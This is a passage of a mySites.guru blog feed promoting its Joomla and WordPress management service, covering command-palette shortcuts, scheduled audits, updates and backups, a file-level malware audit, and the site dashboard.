&lt;li&gt;
&lt;p&gt;Design trends and long-lived software mean that the UI can change. With a command palette, you don’t need to know where functionality has moved - you just search for it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can hide functionality from the UI, avoiding cluttering the screen, overwhelming folks with options, or confusing them with multiple sub-menus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;They can be implemented to help users with disabilities by providing keyboard shortcuts or screen reader support.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can read more about the past, present and future over at &lt;a href=&quot;https://www.commandbar.com/blog/command-palette-past-present-and-future/&quot;&gt;https://www.commandbar.com/blog/command-palette-past-present-and-future/&lt;/a&gt; although we still dont believe that AI is worth the hype and will never replace much of what its hyped to replace - command palettes bring quick and easy navigation to large applications.&lt;/p&gt;
&lt;h2&gt;Does Google Chrome have a command palette?&lt;/h2&gt;
&lt;p&gt;If you are using Google Chrome, then you already have an app that has a command palette built in! The console has a command palette that allows easy access to all features - to invoke that open your Inspector (console), focus it, and press cmd p (or ctrl p on windows) ro open a resource or SHIFT CMD P to open the full command palette to run commands.:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Google Chrome Command Palette&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I use it mainly to disable Javascript for testing -&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Cmd P (ctrl P on windows) is a common keystroke for command palettes for obvious reasons.&lt;/p&gt;
&lt;p&gt;SublimeText also has a command Palette -&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Sublime Text command palette&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;What is the best command palette in existence?&lt;/h2&gt;
&lt;p&gt;Yes its true, the best command palette we use daily is the one from GitHub which is invoked on any github.com repo with Cmd k / ctrl k&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The GitHub command palette&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;from this interface you can navigate pretty much anything in your repository - or even press the delete button to break out of the current context and load different contexts or search across the whole of GitHub - it really is the best ever command palette integration we have ever seen!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The GitHub command palette&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Did you know WordPress has a command palette?&lt;/h2&gt;
&lt;p&gt;No neither did I until researching this blog post!&lt;/p&gt;
&lt;p&gt;You can learn more about the &lt;a href=&quot;https://learn.wordpress.org/tutorial/working-faster-with-the-command-palette/&quot;&gt;WordPress Command Palette&lt;/a&gt; on the official &lt;a href=&quot;https://learn.wordpress.org/tutorial/working-faster-with-the-command-palette/&quot;&gt;learn.wordpress.org website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To access the WordPress Command Palette, simply open the Site Editor or a page or a post and use the keyboard shortcut command K on Mac or control K on Windows. You can also find it in the sidebar of the site view by clicking on the Search icon or the title bar of a template or page. Once you open the Command Palette, you will see a list of available commands.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What other keyboard shortcuts does mySites.guru have?&lt;/h2&gt;
&lt;p&gt;if you press the question mark on your keyboard (shift / on my mac) then you will get to the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;Keyboard Shortcuts page&lt;/a&gt; describing other keyboard shortcuts you can use from anywhere.&lt;/p&gt;
&lt;p&gt;These include some of the most commonly used tools such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Mass Remote Installation Of Plugins&lt;/a&gt; (keyboard shortcut: m i)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Update WordPress/Joomla Sites Tool&lt;/a&gt; (keyboard shortcut: m u)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Available Upgrades &amp;amp; Extension/Plugin Updates&lt;/a&gt; (keyboard shortcut: u)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can even toggle dark mode from anywhere simply by pressing d&lt;/p&gt;
&lt;p&gt;Want to quickly logout? Press shift l (thats basically a capital L to logout)&lt;/p&gt;
&lt;p&gt;Want to get back to your list of sites? (s) or just view WordPress Sites (w)&lt;/p&gt;
&lt;p&gt;So many &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;more keyboard shortcuts&lt;/a&gt; are available in your mySites.guru account.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Just some of the long list of keyboard shortcuts in the mySites.guru service&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Navigation tools like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>productivity</category><category>workflow</category><category>navigation</category><enclosure url="https://mysites.guru/_astro/cmdk-1.CCisepD9.webp" length="0" type="image/webp"/></item><item><title>Schedule Audits, Updates &amp; Backups</title><link>https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/</guid><description>Configure time-based and action-based schedules for security audits, snapshots, updates and Akeeba backups across all your mySites.guru connected sites.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; runs a scheduler for Joomla and WordPress sites that handles &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audits&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates&lt;/a&gt;. It works on both a &lt;strong&gt;time-based&lt;/strong&gt; and an &lt;strong&gt;action-based&lt;/strong&gt; model.&lt;/p&gt;
&lt;h2&gt;Audit schedule&lt;/h2&gt;
&lt;p&gt;For example. Audits are run either daily, weekly, or monthly, based on the last time an audit was taken. The time based part is &quot;daily/weekly/monthly&quot; and the action based part is the &quot;time an audit was last taken&quot;. If you manually start an audit then the time is reset, and your schedule is based on that time. So the next audit will be a week after that time (or a day/month depending on what you select)&lt;/p&gt;
&lt;p&gt;Please note: We only run one audit per hostname (server hostname) at a time, and queue any others that are due on the same server to restrict the load we place on a single server. No one wants 100s of audits of sites on the same server at the same time... not even us!&lt;/p&gt;
&lt;p&gt;The audit scheduler allows you to see your chosen schedule, and if you have chosen to disable the schedule you can see that too.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Backup schedule&lt;/h2&gt;
&lt;p&gt;mySites.guru has support for &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup for Joomla and WordPress&lt;/a&gt;, and (currently) &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;All-in-one Migration Plugin&lt;/a&gt; for WordPress.&lt;/p&gt;
&lt;p&gt;Again, you can set &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;daily, weekly, or monthly backup schedules&lt;/a&gt; in your mySites.guru account, you can even &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;start backups from the same screen&lt;/a&gt; or queue the start of &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups on all your Joomla and WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Updates schedule&lt;/h2&gt;
&lt;p&gt;The updates scheduling is slightly different.&lt;/p&gt;
&lt;p&gt;You don&apos;t specify a time for updates of extensions and plugins to happen, you can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto updates for any extension&lt;/a&gt; on a per site, or per update site basis&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On the next &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; we take (currently twice every 24 hours) if we spy that an &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update&lt;/a&gt; is available, then we will attempt to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;apply the update&lt;/a&gt;, and notify you (according to your preferences) if the update was successful or not.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can view the result of the scheduled updates in your account too&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Can you schedule white label reports?&lt;/h2&gt;
&lt;p&gt;Upcoming in the mySites.guru service shortly, you will also be able to schedule white label reports to be sent to you or your clients about their sites, a subset of sites or just one site. &lt;em&gt;More on this soon. Shhh its a secret!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Real-time triggers and near real-time alerting&lt;/h2&gt;
&lt;p&gt;Not so much scheduled, but in almost real-time, the mySites.guru service can alert you to events happening on your website such as&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;When a user logs in&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a new user is created&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a non-admin tries to login to admin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When your templates file is modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When your sites configuration file is modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;etc...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These alerts are sent to you according to your notification preferences and can be a real lifesaver if your site has been hacked in the past and you want visibility on whats happening. Regular audits also surface &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files lurking in your webspace&lt;/a&gt; that real-time triggers alone won&apos;t catch.&lt;/p&gt;
&lt;p&gt;For a complete guide to keeping CMS updates, backups, and audits in sync across a large portfolio, see &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;. If you want to go further with alerting, the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt; covers what to watch for and how to act on it.&lt;/p&gt;
&lt;p&gt;Not yet a subscriber? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt; to see what mySites.guru finds on your site.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>scheduling</category><category>security audits</category><category>updates</category><category>backups</category><enclosure url="https://mysites.guru/_astro/schedule.DbVDpuFA.webp" length="0" type="image/webp"/></item><item><title>Deep Security Audit for WordPress &amp; Joomla</title><link>https://mysites.guru/blog/security-audit-tools/</link><guid isPermaLink="true">https://mysites.guru/blog/security-audit-tools/</guid><description>Surface-level scanners miss hidden malware. File-level audits check every line of code against 1,500+ patterns to find backdoors other tools miss.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Think your WordPress or Joomla site is clean? Surface-level scanners only see what a browser sees. A proper security audit digs into every file in your webspace - and that&apos;s exactly what the mySites.guru audit does. Want to try it? &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt;&lt;/strong&gt; with no credit card required. If you suspect you&apos;ve already been compromised, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;here&apos;s how to tell if your WordPress site has been hacked&lt;/a&gt;. If you&apos;re specifically looking for malware, our dedicated &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; give you focused results for those two threat categories. If the worst has already happened, our &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walk you through recovery step by step.&lt;/p&gt;
&lt;p&gt;In this post I&apos;ll walk through how the mySites.guru security audit works, what it checks, and why it catches things that other tools miss.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Connect unlimited sites to the mySites.guru service&lt;/a&gt;, then you can run &lt;strong&gt;UNLIMITED&lt;/strong&gt; audits of your &lt;strong&gt;UNLIMITED&lt;/strong&gt; sites on demand, or schedule them to run daily, weekly or monthly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some &lt;a href=&quot;https://watchful.net&quot;&gt;other services&lt;/a&gt; &lt;strong&gt;claim&lt;/strong&gt; to have an &quot;audit&quot; tool. Most of the time they mean they have implemented the &lt;a href=&quot;https://sitecheck.sucuri.net/&quot;&gt;Sucuri SiteCheck API&lt;/a&gt;, which only &quot;scans&quot; your site as a visiting browser would, &lt;strong&gt;it doesn&apos;t check the files in your webspace&lt;/strong&gt;, and &lt;strong&gt;doesn&apos;t find anything that is hidden under the surface&lt;/strong&gt; of your rendered webpages. &lt;strong&gt;Be warned.&lt;/strong&gt;  Not all &quot;Audits&quot; are in-depth and comprehensive!&lt;/p&gt;
&lt;p&gt;Make sure you compare apples with apples. Not everyone claiming to be an &quot;apple&quot; is.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At the start of every audit we also run our &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tools, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;capturing over 100 quick checks of your site&lt;/a&gt;. Added to the audit that&apos;s even more checks! These include WordPress configuration checks like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the admin bar logo&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug constant management&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;cleaning up default Sample Page and Hello World content&lt;/a&gt;, each with a one-click fix.&lt;/p&gt;
&lt;p&gt;The audit first compiles a list of all the folders in your webspace - without exceptions - and then grabs a list of the files in those folders.&lt;/p&gt;
&lt;p&gt;We then run an exhaustive process which includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Identifying it the file is a core Joomla or WordPress file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it&apos;s a core file, identifying if that file has been modified since release&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the core file is modified, doing a comparison with the original file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Storing the md5 hash of the file for future comparison&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Looping through every single line of code in every single file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Searching every single line of code, for one of roughly 1,500 patterns of previous hacks we have seen, and if found marking a file as &quot;suspect&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Checking the md5 hash of the file against over 14,000 specific md5 hashes of previously declared &quot;hacked&quot; files. There are no false positives, each of these 14,000 md5 hashes has been manually checked and confirmed to match a file which is hacked&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We check the created, modified and other metadata of each file, including the EXIF data on images (where hacks are known to reside!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We identify any encrypted files, PHP error logs, Archive files, files over 2mb in size, zero byte files and many other classifications. See our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;cleaning up dangerous files&lt;/a&gt; for details on why these matter.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the audit is over we notify you so you can login to and review the results. The screenshot below shows the first three sections of the audit tab.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example Audit Results (truncated)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As you can see we display the audit results in the same format as the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tab, with the number of problems, name of the tool, a link to any video, a helpful &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;learn more page&lt;/a&gt;, and a button used to investigate our findings.&lt;/p&gt;
&lt;h2&gt;Suspect files tool&lt;/h2&gt;
&lt;p&gt;Our most popular tool is the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is the tool that lists all the files that have matched either our 1,500+ regex patterns, or one of our 14,000 md5 hashes. Just because a file is listed doesnt mean its hacked, unless we specifically state so, as the regex pattern matches are designed to raise false positives and highlight other things (like hidden spammy links to template providers!).&lt;/p&gt;
&lt;p&gt;If your file is a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;known backdoor for a hacker - we mark it as such&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example hacked file, this one is an insecure form that allows anyone to upload any file their like to the webspace!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This example is a &quot;pretend&quot; image that actually has &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hackers code&lt;/a&gt; embedded into the image to allow the hacker to run any PHP code it likes - this specific example is part of a larger hack&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;By clicking any of the file names, you can see a preview of the section of the file we think is suspect. You can also see when it was modified, its size, and its permissions.&lt;/p&gt;
&lt;p&gt;You can use our tools to edit the file directly in mySites.guru and then save the changes, and we will upload them to your site - no need to find your FTP Client! You can also delete the whole file with a single click.&lt;/p&gt;
&lt;h2&gt;Hacked hashes&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Example export from our database.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One of the things that sets us apart from most other services, is that we crowdsource data on hacks and backdoors.&lt;/p&gt;
&lt;p&gt;In practice, this means that once a hack is discovered and confirmed on one Joomla site (for example), patterns and regexp are created, approved, and rolled out to the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;90,000+ sites&lt;/a&gt; the next time they are audited. Including your sites!&lt;/p&gt;
&lt;p&gt;This means you benefit from the discovery of emerging hacks and trends we see on other sites. Our system is totally dynamic and self-improving, even without human interaction and people often find hacks on their site when they add them to mySites.guru, that have been left dormant for years, or badly cleaned on previous clean ups.&lt;/p&gt;
&lt;h2&gt;Fully automated detection improvements&lt;/h2&gt;
&lt;p&gt;We can also manually improve the audit (and we do) multiple times a day, and with our automatic rollout/upgrade of our tools connector on your site - you get the very latest protection without having to manually upgrade our connector!&lt;/p&gt;
&lt;h2&gt;File information tools&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;One of the main sections in the mySites.guru audit tab is the list of File Information Tools.&lt;/p&gt;
&lt;p&gt;These allow you to investigate a list of files that match certain classifications, such as encrypted files, or files over 2mb. The audit also surfaces &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files and dot-folders&lt;/a&gt; that most file managers never show you and that hackers routinely exploit.&lt;/p&gt;
&lt;p&gt;Over the years these are the tools we have used to identify new and emerging hacks, or to look for something specific, like files that allow file uploads or sending email for example. The audit also includes a dedicated &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;email configuration check&lt;/a&gt; that sends a real test email from your site and verifies it arrives.&lt;/p&gt;
&lt;h2&gt;What makes this audit different?&lt;/h2&gt;
&lt;p&gt;The mySites.guru audit is unlike any other service you will read about.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We do not buy in someone else&apos;s API&lt;/strong&gt;, all our hack detection is based on over a decade of real life hacks for Joomla and WordPress (and not generic rule based detection like others)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If your site is hacked, mySites.guru will discover that&lt;/strong&gt;, and inform you, and give you the tools you need to fix your site yourself! A real-world example: the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; was detected across thousands of sites through our md5 hash matching and suspect content patterns. See our breakdown of the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework vulnerability&lt;/a&gt; for another example of how hidden extension dependencies create security blind spots that only a file-level audit catches. After all, mySites.guru was created because, at the time, I was doing all this manually myself to fix hacked client sites and I needed a way to automate much of what I did.&lt;/p&gt;
&lt;h2&gt;Out of your depth and need help?&lt;/h2&gt;
&lt;p&gt;If the mySites.guru audit finds your Joomla or WordPress site is hacked, and you are unsure how to fix it with our tools, or just want us to take care of everything for you, you can escalate this to us using the service at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;https://fix.mysites.guru/&lt;/a&gt;&lt;/strong&gt; for &lt;strong&gt;SET FEE priced hack fixes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not a subscriber yet? &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free site audit&lt;/a&gt;&lt;/strong&gt; - no credit card, no commitment. Connect your site and see what&apos;s hiding in your webspace.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;See how these tools fit into a broader strategy in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>audit tools</category><category>hack detection</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/audit.CP2a34sl.webp" length="0" type="image/webp"/></item><item><title>The Agency Dashboard for All Your Sites</title><link>https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/</guid><description>The mySites.guru main dashboard surfaces SSL status, update counts, audit alerts, uptime and more for every connected Joomla or WordPress site at a glance.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru dashboard for &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; pulls your sites&apos; key information into one place. Having this data to hand, instead of spread across disparate systems, spreadsheets, and post-it notes, means faster decisions and a clear view of what needs doing.&lt;/p&gt;
&lt;h2&gt;The main sites list&lt;/h2&gt;
&lt;p&gt;The first page you get to after login is the main list of your sites.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Main Sites List In Your Account&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This page brings together all your Joomla and WordPress sites. In a single mySites.guru account you can have UNLIMITED sites of any platform.&lt;/p&gt;
&lt;p&gt;On this page we list the most important information visually, so you can immediately see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Number of tags on a site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Audit not yet viewed notification&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No SSL Certificate used on site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Number of &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates available&lt;/a&gt; per site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The site&apos;s server PHP Version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The sites&apos;s platform (Joomla/WordPress) version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the site is &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For version numbers, we highlight them green if the latest version, orange if out of date and red if end of life.&lt;/p&gt;
&lt;p&gt;From this page you can even export a CSV List of your sites and their overview information for processing in a spreadsheet or other system.&lt;/p&gt;
&lt;p&gt;You can also use the quick links to view your site, or, if configured, use the admin link to Auto Login to your Joomla/WordPress Admin console - a single click login!&lt;/p&gt;
&lt;p&gt;The globe icon = Site frontend
The link icon = One Click Admin Login&lt;/p&gt;
&lt;h2&gt;The left menu: check important items&lt;/h2&gt;
&lt;p&gt;Depending dynamically on the information we have on your sites, your left menu will also have some important checks as menu items to filter your sites list.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Left Menu&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;These are just some of the menu items that can be visible based on the data on your sites, bringing together, in one place, a list of tasks you can undertake to get your sites in better shape, to allow you to see the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates available&lt;/a&gt; on your sites and then by clicking the menu links, to filter your sites by that item - showing which sites you need to take action on.&lt;/p&gt;
&lt;h2&gt;Other site information&lt;/h2&gt;
&lt;p&gt;Just to highlight some other menu items that bring together your site data in one place, you can find the &quot;Other Site Information menu group, this contains several items such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Webservers, by hostname&lt;/strong&gt; - a list of your server hostnames and the filter to see which sites are on which servers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Joomla Extensions&lt;/strong&gt; - a complete set of tools for viewing and managing your Joomla extensions, and listing which sites they are on, and their versions and data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Joomla Update Site&lt;/strong&gt;s - a list of all the Joomla Update Sites for your extensions, and the ability to set and disable automatic extension/plugin updates&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Site Screenshots&lt;/strong&gt; - FREE graphical screenshots of the home page of every site you have in your account, and links to enable a public &quot;show off&quot; page of these.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your SSL Certificate Expirations&lt;/strong&gt; - see below...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SSL expiration tracking&lt;/h2&gt;
&lt;p&gt;One of these &quot;Other Site Information&quot; Menu items is for SSL Expiration Dates.&lt;/p&gt;
&lt;p&gt;On this page we bring together in one place, a list of all your sites with SSL Certificates installed, and list, by expiration date, their certificate issuers and expiration date.&lt;/p&gt;
&lt;p&gt;The items nearer the top will expire first (But dont worry, mySites.guru checks your site several times a day with the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;, and if your SSL is getting close to expiration we alert you by email!)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s a quick look at how mySites.guru pulls data from unlimited Joomla and WordPress sites into one dashboard.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Site intelligence is covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
